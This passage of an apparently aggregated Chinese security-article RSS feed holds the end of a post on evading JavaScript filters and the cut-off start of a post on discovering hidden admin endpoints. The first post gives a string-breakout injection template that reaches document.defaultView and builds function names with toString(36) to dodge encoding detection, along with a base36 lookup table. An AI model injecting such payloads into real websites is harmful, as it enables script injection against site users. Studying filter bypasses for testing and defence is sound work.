1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">document.defaultView</span></code><span style="box-sizing: border-box;"><span leaf=""> / </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">(function(){return this;})()</span></code><span style="box-sizing: border-box;"><span leaf=""> 等间接引用</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">避开编码检测</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: 不依赖 Base64/Unicode 转义，使用纯计算方式构造</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">善用允许的函数调用模式</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: 普通变量 + 方括号 + 括号调用 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">x[key](args)</span></code><span style="box-sizing: border-box;"><span leaf=""> 通常不被拦截</span></span></p></li></ol><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">可用的通用模板</span></span></h5><pre spellcheck="false" lang="javascript" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="javascript" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// 通用模板 - 替换 target_function_name 的 base36 对应数字</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;;var _g=document.defaultView;</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">_g</span></span><span leaf="">[</span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// 在此用 toString(36) 构造函数名</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">  (</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">N1</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">toString</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">36</span></span><span leaf="">)</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">+</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">N2</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">toString</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">36</span></span><span leaf="">)</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">+</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">N3</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">toString</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);"><span leaf="">36</span></span><span leaf="">)</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">+</span></span><span style="box-sizing: border-box;color: rgb(85, 85, 85);"><span leaf="">...</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">](</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">参数</span></span><span leaf="">)</span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">//</span></span></span></pre></p></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">base36 字母对照表（快速查询）:</span></span></strong></p><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">字母</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">数字</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">字母</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">数字</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">字母</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">数字</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">a</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">10</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">b</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">11</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">c</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">12</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">d</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">13</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">e</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">14</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">f</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">15</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">g</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">16</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">h</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">17</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">i</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">18</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">j</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">19</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">k</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">20</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">l</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">21</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">m</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">22</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">n</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">23</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">o</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">24</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">p</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">25</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">q</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">26</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">r</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">27</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">s</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">28</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">t</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">29</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">u</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">30</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">v</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">31</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">w</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">32</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">x</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">33</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">y</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">34</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">z</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">35</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"></td></tr></tbody></table></figure><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.xazlsec.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7abf2c21&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500637%26idx%3D1%26sn%3D7904dfb75f0b987d0c9fc7fd65913782">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 28 Jul 2026 10:26:00 +0800</pubDate>
    </item>
    <item>
      <title>关于目录枚举的最新玩法！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500628&amp;idx=1&amp;sn=6a9a2a194f4c4b7b1c747315bfe68952</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>messfree</span> <span>2026-07-22 10:31</span> <span style="display: inline-block;">山西</span></p>




  <p>以下文章来源于：MessFreeSecurity</p>
  <strong>MessFreeSecurity</strong>
  <p>提供社区优质咨询服务</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=46ee4c0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F8qOq10zFicMA6bNFvEOVXYr4CrdRCc81OKwgs1HyKpfjibFVe3ibx3Pr4BEJuwZczVT0KcMFZMo6p4NJBknrZy5IicEeUOEn7I5ick38vvne8xzs%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p cid="n430" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-pm-slice="0 0 []" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">护网里最让人麻木的场景之一：目录扫描器跑了一整夜。</span></span></p><p cid="n431" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/admin</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/manage</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/system</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/console</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/api/v1/users</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">……几十万条字典轮番上阵，回来一片 404。换份更大的字典再跑一遍；大小写、下划线、连字符、复数排列组合，再跑一遍。</span></span></p><p cid="n432" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">最后结论：这个站没有后台。</span></span></p><p cid="n433" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">但如果开发者真正写下的接口叫——</span></span></p><p cid="n434" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/api/Usr_crt</span></code></span></p><p cid="n435" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 